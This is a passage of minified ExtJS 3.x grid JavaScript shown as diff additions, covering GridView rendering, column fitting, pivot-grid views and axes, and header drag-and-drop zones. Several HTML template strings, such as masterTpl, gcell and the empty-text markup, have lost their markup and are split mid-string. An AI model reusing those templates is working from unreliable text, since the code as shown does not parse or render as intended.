= [], c, b; + for (c = 0; c < h; c++) { + if (c == 0) { + b = "x-grid3-cell-first " + } else { + b = c == j ? "x-grid3-cell-last " : "" + } + d = {id:e.getColumnId(c), value:e.getColumnHeader(c) || "", style:this.getColumnStyle(c, true), css:b, tooltip:this.getColumnTooltip(c)}; + if (e.config[c].align == "right") { + d.istyle = "padding-right: 16px;" + } else { + delete d.istyle + } + k[c] = a.apply(d) + } + return g.header.apply({cells:k.join(""), tstyle:String.format("width: {0};", this.getTotalWidth())}) +}, getColumnTooltip:function (a) { + var b = this.cm.getColumnTooltip(a); + if (b) { + if (Ext.QuickTips.isEnabled()) { + return'ext:qtip="' + b + '"' + } else { + return'title="' + b + '"' + } + } + return"" +}, beforeUpdate:function () { + this.grid.stopEditing(true) +}, updateHeaders:function () { + this.innerHd.firstChild.innerHTML = this.renderHeaders(); + this.updateHeaderWidth(false) +}, updateHeaderWidth:function (c) { + var b = this.innerHd.firstChild, a = this.getTotalWidth(); + b.style.width = this.getOffsetWidth(); + b.firstChild.style.width = a; + if (c !== false) { + this.mainBody.dom.style.width = a + } +}, focusRow:function (a) { + this.focusCell(a, 0, false) +}, focusCell:function (d, b, c) { + this.syncFocusEl(this.ensureVisible(d, b, c)); + var a = this.focusEl; + if (Ext.isGecko) { + a.focus() + } else { + a.focus.defer(1, a) + } +}, resolveCell:function (h, d, g) { + if (!Ext.isNumber(h)) { + h = h.rowIndex + } + if (!this.ds) { + return null + } + if (h < 0 || h >= this.ds.getCount()) { + return null + } + d = (d !== undefined ? d : 0); + var c = this.getRow(h), b = this.cm, e = b.getColumnCount(), a; + if (!(g === false && d === 0)) { + while (d < e && b.isHidden(d)) { + d++ + } + a = this.getCell(h, d) + } + return{row:c, cell:a} +}, getResolvedXY:function (b) { + if (!b) { + return null + } + var a = b.cell, c = b.row; + if (a) { + return Ext.fly(a).getXY() + } else { + return[this.el.getX(), Ext.fly(c).getY()] + } +}, syncFocusEl:function (d, a, c) { + var b = d; + if (!Ext.isArray(b)) { + d = Math.min(d, Math.max(0, this.getRows().length - 1)); + if (isNaN(d)) { + return + } + b = this.getResolvedXY(this.resolveCell(d, a, c)) + } + this.focusEl.setXY(b || this.scroller.getXY()) +}, ensureVisible:function (t, g, e) { + var r = this.resolveCell(t, g, e); + if (!r || !r.row) { + return null + } + var k = r.row, h = r.cell, n = this.scroller.dom, d = k, s = 0, o = this.el.dom; + while (d && d != o) { + s += d.offsetTop; + d = d.offsetParent + } + s -= this.mainHd.dom.offsetHeight; + o = parseInt(n.scrollTop, 10); + var q = s + k.offsetHeight, a = n.clientHeight, m = o + a; + if (s < o) { + n.scrollTop = s + } else { + if (q > m) { + n.scrollTop = q - a + } + } + if (e !== false) { + var l = parseInt(h.offsetLeft, 10), j = l + h.offsetWidth, i = parseInt(n.scrollLeft, 10), b = i + n.clientWidth; + if (l < i) { + n.scrollLeft = l + } else { + if (j > b) { + n.scrollLeft = j - n.clientWidth + } + } + } + return this.getResolvedXY(r) +}, insertRows:function (a, i, e, h) { + var d = a.getCount() - 1; + if (!h && i === 0 && e >= d) { + this.fireEvent("beforerowsinserted", this, i, e); + this.refresh(); + this.fireEvent("rowsinserted", this, i, e) + } else { + if (!h) { + this.fireEvent("beforerowsinserted", this, i, e) + } + var b = this.renderRows(i, e), g = this.getRow(i); + if (g) { + if (i === 0) { + Ext.fly(this.getRow(0)).removeClass(this.firstRowCls) + } + Ext.DomHelper.insertHtml("beforeBegin", g, b) + } else { + var c = this.getRow(d - 1); + if (c) { + Ext.fly(c).removeClass(this.lastRowCls) + } + Ext.DomHelper.insertHtml("beforeEnd", this.mainBody.dom, b) + } + if (!h) { + this.processRows(i); + this.fireEvent("rowsinserted", this, i, e) + } else { + if (i === 0 || i >= d) { + Ext.fly(this.getRow(i)).addClass(i === 0 ? this.firstRowCls : this.lastRowCls) + } + } + } + this.syncFocusEl(i) +}, deleteRows:function (a, c, b) { + if (a.getRowCount() < 1) { + this.refresh() + } else { + this.fireEvent("beforerowsdeleted", this, c, b); + this.removeRows(c, b); + this.processRows(c); + this.fireEvent("rowsdeleted", this, c, b) + } +}, getColumnStyle:function (b, d) { + var a = this.cm, g = a.config, c = d ? "" : g[b].css || "", e = g[b].align; + c += String.format("width: {0};", this.getColumnWidth(b)); + if (a.isHidden(b)) { + c += "display: none; " + } + if (e) { + c += String.format("text-align: {0};", e) + } + return c +}, getColumnWidth:function (b) { + var c = this.cm.getColumnWidth(b), a = this.borderWidth; + if (Ext.isNumber(c)) { + if (Ext.isBorderBox || (Ext.isWebKit && !Ext.isSafari2)) { + return c + "px" + } else { + return Math.max(c - a, 0) + "px" + } + } else { + return c + } +}, getTotalWidth:function () { + return this.cm.getTotalWidth() + "px" +}, fitColumns:function (g, j, h) { + var a = this.grid, l = this.cm, s = l.getTotalWidth(false), q = this.getGridInnerWidth(), r = q - s, c = [], o = 0, n = 0, u, d, p; + if (q < 20 || r === 0) { + return false + } + var e = l.getColumnCount(true), m = l.getColumnCount(false), b = e - (Ext.isNumber(h) ? 1 : 0); + if (b === 0) { + b = 1; + h = undefined + } + for (p = 0; p < m; p++) { + if (!l.isFixed(p) && p !== h) { + u = l.getColumnWidth(p); + c.push(p, u); + if (!l.isHidden(p)) { + o = p; + n += u + } + } + } + d = (q - l.getTotalWidth()) / n; + while (c.length) { + u = c.pop(); + p = c.pop(); + l.setColumnWidth(p, Math.max(a.minColumnWidth, Math.floor(u + u * d)), true) + } + s = l.getTotalWidth(false); + if (s > q) { + var t = (b == e) ? o : h, k = Math.max(1, l.getColumnWidth(t) - (s - q)); + l.setColumnWidth(t, k, true) + } + if (g !== true) { + this.updateAllColumnWidths() + } + return true +}, autoExpand:function (k) { + var a = this.grid, i = this.cm, e = this.getGridInnerWidth(), c = i.getTotalWidth(false), g = a.autoExpandColumn; + if (!this.userResized && g) { + if (e != c) { + var j = i.getIndexById(g), b = i.getColumnWidth(j), h = e - c + b, d = Math.min(Math.max(h, a.autoExpandMin), a.autoExpandMax); + if (b != d) { + i.setColumnWidth(j, d, true); + if (k !== true) { + this.updateColumnWidth(j, d) + } + } + } + } +}, getGridInnerWidth:function () { + return this.grid.getGridEl().getWidth(true) - this.getScrollOffset() +}, getColumnData:function () { + var e = [], c = this.cm, g = c.getColumnCount(), a = this.ds.fields, d, b; + for (d = 0; d < g; d++) { + b = c.getDataIndex(d); + e[d] = {name:Ext.isDefined(b) ? b : (a.get(d) ? a.get(d).name : undefined), renderer:c.getRenderer(d), scope:c.getRendererScope(d), id:c.getColumnId(d), style:this.getColumnStyle(d)} + } + return e +}, renderRows:function (i, c) { + var a = this.grid, g = a.store, j = a.stripeRows, e = a.colModel, h = e.getColumnCount(), d = g.getCount(), b; + if (d < 1) { + return"" + } + i = i || 0; + c = Ext.isDefined(c) ? c : d - 1; + b = g.getRange(i, c); + return this.doRender(this.getColumnData(), b, g, i, h, j) +}, renderBody:function () { + var a = this.renderRows() || " "; + return this.templates.body.apply({rows:a}) +}, refreshRow:function (g) { + var l = this.ds, m = this.cm.getColumnCount(), c = this.getColumnData(), n = m - 1, p = ["x-grid3-row"], e = {tstyle:String.format("width: {0};", this.getTotalWidth())}, a = [], k = this.templates.cell, j, q, b, o, h, d; + if (Ext.isNumber(g)) { + j = g; + g = l.getAt(j) + } else { + j = l.indexOf(g) + } + if (!g || j < 0) { + return + } + for (d = 0; d < m; d++) { + b = c[d]; + if (d == 0) { + h = "x-grid3-cell-first" + } else { + h = (d == n) ? "x-grid3-cell-last " : "" + } + o = {id:b.id, style:b.style, css:h, attr:"", cellAttr:""}; + o.value = b.renderer.call(b.scope, g.data[b.name], o, g, j, d, l); + if (Ext.isEmpty(o.value)) { + o.value = " " + } + if (this.markDirty && g.dirty && typeof g.modified[b.name] != "undefined") { + o.css += " x-grid3-dirty-cell" + } + a[d] = k.apply(o) + } + q = this.getRow(j); + q.className = ""; + if (this.grid.stripeRows && ((j + 1) % 2 === 0)) { + p.push("x-grid3-row-alt") + } + if (this.getRowClass) { + e.cols = m; + p.push(this.getRowClass(g, j, e, l)) + } + this.fly(q).addClass(p).setStyle(e.tstyle); + e.cells = a.join(""); + q.innerHTML = this.templates.rowInner.apply(e); + this.fireEvent("rowupdated", this, j, g) +}, refresh:function (b) { + this.fireEvent("beforerefresh", this); + this.grid.stopEditing(true); + var a = this.renderBody(); + this.mainBody.update(a).setWidth(this.getTotalWidth()); + if (b === true) { + this.updateHeaders(); + this.updateHeaderSortState() + } + this.processRows(0, true); + this.layout(); + this.applyEmptyText(); + this.fireEvent("refresh", this) +}, applyEmptyText:function () { + if (this.emptyText && !this.hasRows()) { + this.mainBody.update('
    ' + this.emptyText + "
    ") + } +}, updateHeaderSortState:function () { + var b = this.ds.getSortState(); + if (!b) { + return + } + if (!this.sortState || (this.sortState.field != b.field || this.sortState.direction != b.direction)) { + this.grid.fireEvent("sortchange", this.grid, b) + } + this.sortState = b; + var c = this.cm.findColumnIndex(b.field); + if (c != -1) { + var a = b.direction; + this.updateSortIcon(c, a) + } +}, clearHeaderSortState:function () { + if (!this.sortState) { + return + } + this.grid.fireEvent("sortchange", this.grid, null); + this.mainHd.select("td").removeClass(this.sortClasses); + delete this.sortState +}, destroy:function () { + var j = this, a = j.grid, d = a.getGridEl(), i = j.dragZone, g = j.splitZone, h = j.columnDrag, e = j.columnDrop, k = j.scrollToTopTask, c, b; + if (k && k.cancel) { + k.cancel() + } + Ext.destroyMembers(j, "colMenu", "hmenu"); + j.initData(null, null); + j.purgeListeners(); + Ext.fly(j.innerHd).un("click", j.handleHdDown, j); + if (a.enableColumnMove) { + c = h.dragData; + b = h.proxy; + Ext.destroy(h.el, b.ghost, b.el, e.el, e.proxyTop, e.proxyBottom, c.ddel, c.header); + if (b.anim) { + Ext.destroy(b.anim) + } + delete b.ghost; + delete c.ddel; + delete c.header; + h.destroy(); + delete Ext.dd.DDM.locationCache[h.id]; + delete h._domRef; + delete e.proxyTop; + delete e.proxyBottom; + e.destroy(); + delete Ext.dd.DDM.locationCache["gridHeader" + d.id]; + delete e._domRef; + delete Ext.dd.DDM.ids[e.ddGroup] + } + if (g) { + g.destroy(); + delete g._domRef; + delete Ext.dd.DDM.ids["gridSplitters" + d.id] + } + Ext.fly(j.innerHd).removeAllListeners(); + Ext.removeNode(j.innerHd); + delete j.innerHd; + Ext.destroy(j.el, j.mainWrap, j.mainHd, j.scroller, j.mainBody, j.focusEl, j.resizeMarker, j.resizeProxy, j.activeHdBtn, j._flyweight, i, g); + delete a.container; + if (i) { + i.destroy() + } + Ext.dd.DDM.currentTarget = null; + delete Ext.dd.DDM.locationCache[d.id]; + Ext.EventManager.removeResizeListener(j.onWindowResize, j) +}, onDenyColumnHide:function () { +}, render:function () { + if (this.autoFill) { + var a = this.grid.ownerCt; + if (a && a.getLayout()) { + a.on("afterlayout", function () { + this.fitColumns(true, true); + this.updateHeaders(); + this.updateHeaderSortState() + }, this, {single:true}) + } + } else { + if (this.forceFit) { + this.fitColumns(true, false) + } else { + if (this.grid.autoExpandColumn) { + this.autoExpand(true) + } + } + } + this.grid.getGridEl().dom.innerHTML = this.renderUI(); + this.afterRenderUI() +}, initData:function (a, e) { + var b = this; + if (b.ds) { + var d = b.ds; + d.un("add", b.onAdd, b); + d.un("load", b.onLoad, b); + d.un("clear", b.onClear, b); + d.un("remove", b.onRemove, b); + d.un("update", b.onUpdate, b); + d.un("datachanged", b.onDataChange, b); + if (d !== a && d.autoDestroy) { + d.destroy() + } + } + if (a) { + a.on({scope:b, load:b.onLoad, add:b.onAdd, remove:b.onRemove, update:b.onUpdate, clear:b.onClear, datachanged:b.onDataChange}) + } + if (b.cm) { + var c = b.cm; + c.un("configchange", b.onColConfigChange, b); + c.un("widthchange", b.onColWidthChange, b); + c.un("headerchange", b.onHeaderChange, b); + c.un("hiddenchange", b.onHiddenChange, b); + c.un("columnmoved", b.onColumnMove, b) + } + if (e) { + delete b.lastViewWidth; + e.on({scope:b, configchange:b.onColConfigChange, widthchange:b.onColWidthChange, headerchange:b.onHeaderChange, hiddenchange:b.onHiddenChange, columnmoved:b.onColumnMove}) + } + b.ds = a; + b.cm = e +}, onDataChange:function () { + this.refresh(true); + this.updateHeaderSortState(); + this.syncFocusEl(0) +}, onClear:function () { + this.refresh(); + this.syncFocusEl(0) +}, onUpdate:function (b, a) { + this.refreshRow(a) +}, onAdd:function (b, a, c) { + this.insertRows(b, c, c + (a.length - 1)) +}, onRemove:function (b, a, c, d) { + if (d !== true) { + this.fireEvent("beforerowremoved", this, c, a) + } + this.removeRow(c); + if (d !== true) { + this.processRows(c); + this.applyEmptyText(); + this.fireEvent("rowremoved", this, c, a) + } +}, onLoad:function () { + if (Ext.isGecko) { + if (!this.scrollToTopTask) { + this.scrollToTopTask = new Ext.util.DelayedTask(this.scrollToTop, this) + } + this.scrollToTopTask.delay(1) + } else { + this.scrollToTop() + } +}, onColWidthChange:function (a, b, c) { + this.updateColumnWidth(b, c) +}, onHeaderChange:function (a, b, c) { + this.updateHeaders() +}, onHiddenChange:function (a, b, c) { + this.updateColumnHidden(b, c) +}, onColumnMove:function (a, c, b) { + this.indexMap = null; + this.refresh(true); + this.restoreScroll(this.getScrollState()); + this.afterMove(b); + this.grid.fireEvent("columnmove", c, b) +}, onColConfigChange:function () { + delete this.lastViewWidth; + this.indexMap = null; + this.refresh(true) +}, initUI:function (a) { + a.on("headerclick", this.onHeaderClick, this) +}, initEvents:Ext.emptyFn, onHeaderClick:function (b, a) { + if (this.headersDisabled || !this.cm.isSortable(a)) { + return + } + b.stopEditing(true); + b.store.sort(this.cm.getDataIndex(a)) +}, onRowOver:function (b, a) { + var c = this.findRowIndex(a); + if (c !== false) { + this.addRowClass(c, this.rowOverCls) + } +}, onRowOut:function (b, a) { + var c = this.findRowIndex(a); + if (c !== false && !b.within(this.getRow(c), true)) { + this.removeRowClass(c, this.rowOverCls) + } +}, onRowSelect:function (a) { + this.addRowClass(a, this.selectedRowClass) +}, onRowDeselect:function (a) { + this.removeRowClass(a, this.selectedRowClass) +}, onCellSelect:function (c, b) { + var a = this.getCell(c, b); + if (a) { + this.fly(a).addClass("x-grid3-cell-selected") + } +}, onCellDeselect:function (c, b) { + var a = this.getCell(c, b); + if (a) { + this.fly(a).removeClass("x-grid3-cell-selected") + } +}, handleWheel:function (a) { + a.stopPropagation() +}, onColumnSplitterMoved:function (a, b) { + this.userResized = true; + this.grid.colModel.setColumnWidth(a, b, true); + if (this.forceFit) { + this.fitColumns(true, false, a); + this.updateAllColumnWidths() + } else { + this.updateColumnWidth(a, b); + this.syncHeaderScroll() + } + this.grid.fireEvent("columnresize", a, b) +}, beforeColMenuShow:function () { + var b = this.cm, d = b.getColumnCount(), a = this.colMenu, c; + a.removeAll(); + for (c = 0; c < d; c++) { + if (b.config[c].hideable !== false) { + a.add(new Ext.menu.CheckItem({text:b.getColumnHeader(c), itemId:"col-" + b.getColumnId(c), checked:!b.isHidden(c), disabled:b.config[c].hideable === false, hideOnClick:false})) + } + } +}, handleHdMenuClick:function (c) { + var a = this.ds, b = this.cm.getDataIndex(this.hdCtxIndex); + switch (c.getItemId()) { + case"asc": + a.sort(b, "ASC"); + break; + case"desc": + a.sort(b, "DESC"); + break; + default: + this.handleHdMenuClickDefault(c) + } + return true +}, handleHdMenuClickDefault:function (c) { + var b = this.cm, d = c.getItemId(), a = b.getIndexById(d.substr(4)); + if (a != -1) { + if (c.checked && b.getColumnsBy(this.isHideableColumn, this).length <= 1) { + this.onDenyColumnHide(); + return + } + b.setHidden(a, c.checked) + } +}, handleHdDown:function (i, j) { + if (Ext.fly(j).hasClass("x-grid3-hd-btn")) { + i.stopEvent(); + var k = this.cm, g = this.findHeaderCell(j), h = this.getCellIndex(g), d = k.isSortable(h), c = this.hmenu, b = c.items, a = this.headerMenuOpenCls; + this.hdCtxIndex = h; + Ext.fly(g).addClass(a); + b.get("asc").setDisabled(!d); + b.get("desc").setDisabled(!d); + c.on("hide", function () { + Ext.fly(g).removeClass(a) + }, this, {single:true}); + c.show(j, "tl-bl?") + } +}, handleHdMove:function (k) { + var i = this.findHeaderCell(this.activeHdRef); + if (i && !this.headersDisabled) { + var l = this.splitHandleWidth || 5, j = this.activeHdRegion, p = i.style, m = this.cm, o = "", g = k.getPageX(); + if (this.grid.enableColumnResize !== false) { + var a = this.activeHdIndex, b = this.getPreviousVisible(a), n = m.isResizable(a), c = b && m.isResizable(b), d = g - j.left <= l, h = j.right - g <= (!this.activeHdBtn ? l : 2); + if (d && c) { + o = Ext.isAir ? "move" : Ext.isWebKit ? "e-resize" : "col-resize" + } else { + if (h && n) { + o = Ext.isAir ? "move" : Ext.isWebKit ? "w-resize" : "col-resize" + } + } + } + p.cursor = o + } +}, getPreviousVisible:function (a) { + while (a > 0) { + if (!this.cm.isHidden(a - 1)) { + return a + } + a-- + } + return undefined +}, handleHdOver:function (c, b) { + var d = this.findHeaderCell(b); + if (d && !this.headersDisabled) { + var a = this.fly(d); + this.activeHdRef = b; + this.activeHdIndex = this.getCellIndex(d); + this.activeHdRegion = a.getRegion(); + if (!this.isMenuDisabled(this.activeHdIndex, a)) { + a.addClass("x-grid3-hd-over"); + this.activeHdBtn = a.child(".x-grid3-hd-btn"); + if (this.activeHdBtn) { + this.activeHdBtn.dom.style.height = (d.firstChild.offsetHeight - 1) + "px" + } + } + } +}, handleHdOut:function (b, a) { + var c = this.findHeaderCell(a); + if (c && (!Ext.isIE || !b.within(c, true))) { + this.activeHdRef = null; + this.fly(c).removeClass("x-grid3-hd-over"); + c.style.cursor = "" + } +}, isMenuDisabled:function (a, b) { + return this.cm.isMenuDisabled(a) +}, hasRows:function () { + var a = this.mainBody.dom.firstChild; + return a && a.nodeType == 1 && a.className != "x-grid-empty" +}, isHideableColumn:function (a) { + return !a.hidden +}, bind:function (a, b) { + this.initData(a, b) +}}); +Ext.grid.GridView.SplitDragZone = Ext.extend(Ext.dd.DDProxy, {constructor:function (a, b) { + this.grid = a; + this.view = a.getView(); + this.marker = this.view.resizeMarker; + this.proxy = this.view.resizeProxy; + Ext.grid.GridView.SplitDragZone.superclass.constructor.call(this, b, "gridSplitters" + this.grid.getGridEl().id, {dragElId:Ext.id(this.proxy.dom), resizeFrame:false}); + this.scroll = false; + this.hw = this.view.splitHandleWidth || 5 +}, b4StartDrag:function (a, e) { + this.dragHeadersDisabled = this.view.headersDisabled; + this.view.headersDisabled = true; + var d = this.view.mainWrap.getHeight(); + this.marker.setHeight(d); + this.marker.show(); + this.marker.alignTo(this.view.getHeaderCell(this.cellIndex), "tl-tl", [-2, 0]); + this.proxy.setHeight(d); + var b = this.cm.getColumnWidth(this.cellIndex), c = Math.max(b - this.grid.minColumnWidth, 0); + this.resetConstraints(); + this.setXConstraint(c, 1000); + this.setYConstraint(0, 0); + this.minX = a - c; + this.maxX = a + 1000; + this.startPos = a; + Ext.dd.DDProxy.prototype.b4StartDrag.call(this, a, e) +}, allowHeaderDrag:function (a) { + return true +}, handleMouseDown:function (a) { + var h = this.view.findHeaderCell(a.getTarget()); + if (h && this.allowHeaderDrag(a)) { + var k = this.view.fly(h).getXY(), c = k[0], i = a.getXY(), b = i[0], g = h.offsetWidth, d = false; + if ((b - c) <= this.hw) { + d = -1 + } else { + if ((c + g) - b <= this.hw) { + d = 0 + } + } + if (d !== false) { + this.cm = this.grid.colModel; + var j = this.view.getCellIndex(h); + if (d == -1) { + if (j + d < 0) { + return + } + while (this.cm.isHidden(j + d)) { + --d; + if (j + d < 0) { + return + } + } + } + this.cellIndex = j + d; + this.split = h.dom; + if (this.cm.isResizable(this.cellIndex) && !this.cm.isFixed(this.cellIndex)) { + Ext.grid.GridView.SplitDragZone.superclass.handleMouseDown.apply(this, arguments) + } + } else { + if (this.view.columnDrag) { + this.view.columnDrag.callHandleMouseDown(a) + } + } + } +}, endDrag:function (g) { + this.marker.hide(); + var a = this.view, c = Math.max(this.minX, g.getPageX()), d = c - this.startPos, b = this.dragHeadersDisabled; + a.onColumnSplitterMoved(this.cellIndex, this.cm.getColumnWidth(this.cellIndex) + d); + setTimeout(function () { + a.headersDisabled = b + }, 50) +}, autoOffset:function () { + this.setDelta(0, 0) +}}); +Ext.grid.PivotGridView = Ext.extend(Ext.grid.GridView, {colHeaderCellCls:"grid-hd-group-cell", title:"", getColumnHeaders:function () { + return this.grid.topAxis.buildHeaders() +}, getRowHeaders:function () { + return this.grid.leftAxis.buildHeaders() +}, renderRows:function (a, t) { + var b = this.grid, o = b.extractData(), p = o.length, g = this.templates, s = b.renderer, h = typeof s == "function", w = this.getCellCls, n = typeof w == "function", d = g.cell, x = g.row, k = [], q = {}, c = "width:" + this.getGridInnerWidth() + "px;", l, r, e, v, m; + a = a || 0; + t = Ext.isDefined(t) ? t : p - 1; + for (v = 0; v < p; v++) { + m = o[v]; + r = m.length; + l = []; + for (var u = 0; u < r; u++) { + q.id = v + "-" + u; + q.css = u === 0 ? "x-grid3-cell-first " : (u == (r - 1) ? "x-grid3-cell-last " : ""); + q.attr = q.cellAttr = ""; + q.value = m[u]; + if (Ext.isEmpty(q.value)) { + q.value = " " + } + if (h) { + q.value = s(q.value) + } + if (n) { + q.css += w(q.value) + " " + } + l[l.length] = d.apply(q) + } + k[k.length] = x.apply({tstyle:c, cols:r, cells:l.join(""), alt:""}) + } + return k.join("") +}, masterTpl:new Ext.Template('
    ', '
    ', '
    ', '
    {title}
    ', '
    ', '
    ', "
    ", '
    ', "
    ", '
    ', '
    ', '
    {body}
    ', '', "
    ", "
    ", '
     
    ', '
     
    ', "
    "), initTemplates:function () { + Ext.grid.PivotGridView.superclass.initTemplates.apply(this, arguments); + var a = this.templates || {}; + if (!a.gcell) { + a.gcell = new Ext.XTemplate('', '
    ', this.grid.enableHdMenu ? '' : "", "{value}", "
    ", "") + } + this.templates = a; + this.hrowRe = new RegExp("ux-grid-hd-group-row-(\\d+)", "") +}, initElements:function () { + Ext.grid.PivotGridView.superclass.initElements.apply(this, arguments); + this.rowHeadersEl = new Ext.Element(this.scroller.child("div.x-grid3-row-headers")); + this.headerTitleEl = new Ext.Element(this.mainHd.child("div.x-grid3-header-title")) +}, getGridInnerWidth:function () { + var a = Ext.grid.PivotGridView.superclass.getGridInnerWidth.apply(this, arguments); + return a - this.getTotalRowHeaderWidth() +}, getTotalRowHeaderWidth:function () { + var d = this.getRowHeaders(), c = d.length, b = 0, a; + for (a = 0; a < c; a++) { + b += d[a].width + } + return b +}, getTotalColumnHeaderHeight:function () { + return this.getColumnHeaders().length * 21 +}, getCellIndex:function (b) { + if (b) { + var a = b.className.match(this.colRe), c; + if (a && (c = a[1])) { + return parseInt(c.split("-")[1], 10) + } + } + return false +}, renderUI:function () { + var b = this.templates, a = this.getGridInnerWidth(); + return b.master.apply({body:b.body.apply({rows:" "}), ostyle:"width:" + a + "px", bstyle:"width:" + a + "px"}) +}, onLayout:function (b, a) { + Ext.grid.PivotGridView.superclass.onLayout.apply(this, arguments); + var b = this.getGridInnerWidth(); + this.resizeColumnHeaders(b); + this.resizeAllRows(b) +}, refresh:function (b) { + this.fireEvent("beforerefresh", this); + this.grid.stopEditing(true); + var a = this.renderBody(); + this.mainBody.update(a).setWidth(this.getGridInnerWidth()); + if (b === true) { + this.updateHeaders(); + this.updateHeaderSortState() + } + this.processRows(0, true); + this.layout(); + this.applyEmptyText(); + this.fireEvent("refresh", this) +}, renderHeaders:Ext.emptyFn, fitColumns:Ext.emptyFn, resizeColumnHeaders:function (b) { + var a = this.grid.topAxis; + if (a.rendered) { + a.el.setWidth(b) + } +}, resizeRowHeaders:function () { + var a = this.getTotalRowHeaderWidth(), b = String.format("margin-left: {0}px;", a); + this.rowHeadersEl.setWidth(a); + this.mainBody.applyStyles(b); + Ext.fly(this.innerHd).applyStyles(b); + this.headerTitleEl.setWidth(a); + this.headerTitleEl.setHeight(this.getTotalColumnHeaderHeight()) +}, resizeAllRows:function (b) { + var d = this.getRows(), c = d.length, a; + for (a = 0; a < c; a++) { + Ext.fly(d[a]).setWidth(b); + Ext.fly(d[a]).child("table").setWidth(b) + } +}, updateHeaders:function () { + this.renderGroupRowHeaders(); + this.renderGroupColumnHeaders() +}, renderGroupRowHeaders:function () { + var a = this.grid.leftAxis; + this.resizeRowHeaders(); + a.rendered = false; + a.render(this.rowHeadersEl); + this.setTitle(this.title) +}, setTitle:function (a) { + this.headerTitleEl.child("span").dom.innerHTML = a +}, renderGroupColumnHeaders:function () { + var a = this.grid.topAxis; + a.rendered = false; + a.render(this.innerHd.firstChild) +}, isMenuDisabled:function (a, b) { + return true +}}); +Ext.grid.PivotAxis = Ext.extend(Ext.Component, {orientation:"horizontal", defaultHeaderWidth:80, paddingWidth:7, setDimensions:function (a) { + this.dimensions = a +}, onRender:function (b, a) { + var c = this.orientation == "horizontal" ? this.renderHorizontalRows() : this.renderVerticalRows(); + this.el = Ext.DomHelper.overwrite(b.dom, {tag:"table", cn:c}, true) +}, renderHorizontalRows:function () { + var k = this.buildHeaders(), a = k.length, g = [], c, h, e, d, b; + for (d = 0; d < a; d++) { + c = []; + h = k[d].items; + e = h.length; + for (b = 0; b < e; b++) { + c.push({tag:"td", html:h[b].header, colspan:h[b].span}) + } + g[d] = {tag:"tr", cn:c} + } + return g +}, renderVerticalRows:function () { + var b = this.buildHeaders(), k = b.length, a = [], m = [], h, c, l, g, e, d; + for (e = 0; e < k; e++) { + c = b[e]; + g = c.width || 80; + h = c.items.length; + for (d = 0; d < h; d++) { + l = c.items[d]; + a[l.start] = a[l.start] || []; + a[l.start].push({tag:"td", html:l.header, rowspan:l.span, width:Ext.isBorderBox ? g : g - this.paddingWidth}) + } + } + h = a.length; + for (e = 0; e < h; e++) { + m[e] = {tag:"tr", cn:a[e]} + } + return m +}, getTuples:function () { + var b = new Ext.data.Store({}); + b.data = this.store.data.clone(); + b.fields = this.store.fields; + var l = [], a = this.dimensions, c = a.length, j; + for (j = 0; j < c; j++) { + l.push({field:a[j].dataIndex, direction:a[j].direction || "ASC"}) + } + b.sort(l); + var e = b.data.items, n = [], k = [], o, h, d, g, m; + c = e.length; + for (j = 0; j < c; j++) { + d = this.getRecordInfo(e[j]); + g = d.data; + h = ""; + for (m in g) { + h += g[m] + "---" + } + if (n.indexOf(h) == -1) { + n.push(h); + k.push(d) + } + } + b.destroy(); + return k +}, getRecordInfo:function (a) { + var e = this.dimensions, d = e.length, h = {}, j, c, b; + for (b = 0; b < d; b++) { + j = e[b]; + c = j.dataIndex; + h[c] = a.get(c) + } + var g = function (i) { + return function (k) { + for (var l in i) { + if (k.get(l) != i[l]) { + return false + } + } + return true + } + }; + return{data:h, matcher:g(h)} +}, buildHeaders:function () { + var l = this.getTuples(), m = l.length, a = this.dimensions, e, r = a.length, c = [], o, s, n, q, p, b, k, h, g, d; + for (g = 0; g < r; g++) { + e = a[g]; + s = []; + p = 0; + b = 0; + for (d = 0; d < m; d++) { + o = l[d]; + k = d == (m - 1); + n = o.data[e.dataIndex]; + h = q != undefined && q != n; + if (g > 0 && d > 0) { + h = h || o.data[a[g - 1].dataIndex] != l[d - 1].data[a[g - 1].dataIndex] + } + if (h) { + s.push({header:q, span:p, start:b}); + b += p; + p = 0 + } + if (k) { + s.push({header:n, span:p + 1, start:b}); + b += p; + p = 0 + } + q = n; + p++ + } + c.push({items:s, width:e.width || this.defaultHeaderWidth}); + q = undefined + } + return c +}}); +Ext.grid.HeaderDragZone = Ext.extend(Ext.dd.DragZone, {maxDragWidth:120, constructor:function (a, c, b) { + this.grid = a; + this.view = a.getView(); + this.ddGroup = "gridHeader" + this.grid.getGridEl().id; + Ext.grid.HeaderDragZone.superclass.constructor.call(this, c); + if (b) { + this.setHandleElId(Ext.id(c)); + this.setOuterHandleElId(Ext.id(b)) + } + this.scroll = false +}, getDragData:function (c) { + var a = Ext.lib.Event.getTarget(c), b = this.view.findHeaderCell(a); + if (b) { + return{ddel:b.firstChild, header:b} + } + return false +}, onInitDrag:function (a) { + this.dragHeadersDisabled = this.view.headersDisabled; + this.view.headersDisabled = true; + var b = this.dragData.ddel.cloneNode(true); + b.id = Ext.id(); + b.style.width = Math.min(this.dragData.header.offsetWidth, this.maxDragWidth) + "px"; + this.proxy.update(b); + return true +}, afterValidDrop:function () { + this.completeDrop() +}, afterInvalidDrop:function () { + this.completeDrop() +}, completeDrop:function () { + var a = this.view, b = this.dragHeadersDisabled; + setTimeout(function () { + a.headersDisabled = b + }, 50) +}}); +Ext.grid.HeaderDropZone = Ext.extend(Ext.dd.DropZone, {proxyOffsets:[-4, -9], fly:Ext.Element.fly, constructor:function (a, c, b) { + this.grid = a; + this.view = a.getView(); + this.proxyTop = Ext.DomHelper.append(document.body, {cls:"col-move-top", html:" "}, true); + this.proxyBottom = Ext.DomHelper.append(document.body, {cls:"col-move-bottom", html:" "}, true); + this.proxyTop.hide = this.proxyBottom.hide = function () { + this.setLeftTop(-100, -100); + this.setStyle("visibility", "hidden") + }; + this.ddGroup = "gridHeader" + this.grid.getGridEl().id; + Ext.grid.HeaderDropZone.superclass.constructor.call(this, a.getGridEl().dom) +}, getTargetFromEvent:function (c) { + var a = Ext.lib.Event.getTarget(c), b = this.view.findCellIndex(a); + if (b !== false) { + return this.view.getHeaderCell(b) + } +}, nextVisible:function (c) { + var b = this.view, a = this.grid.colModel; + c = c.nextSibling; + while (c) { + if (!a.isHidden(b.getCellIndex(c))) { + return c + } + c = c.nextSibling + } + return null +}, prevVisible:function (c) { + var b = this.view, a = this.grid.colModel; + c = c.prevSibling; + while (c) { + if (!a.isHidden(b.getCellIndex(c))) { + return c + } + c = c.prevSibling + } + return null +}, positionIndicator:function (d, k, j) { + var a = Ext.lib.Event.getPageX(j), g = Ext.lib.Dom.getRegion(k.firstChild), 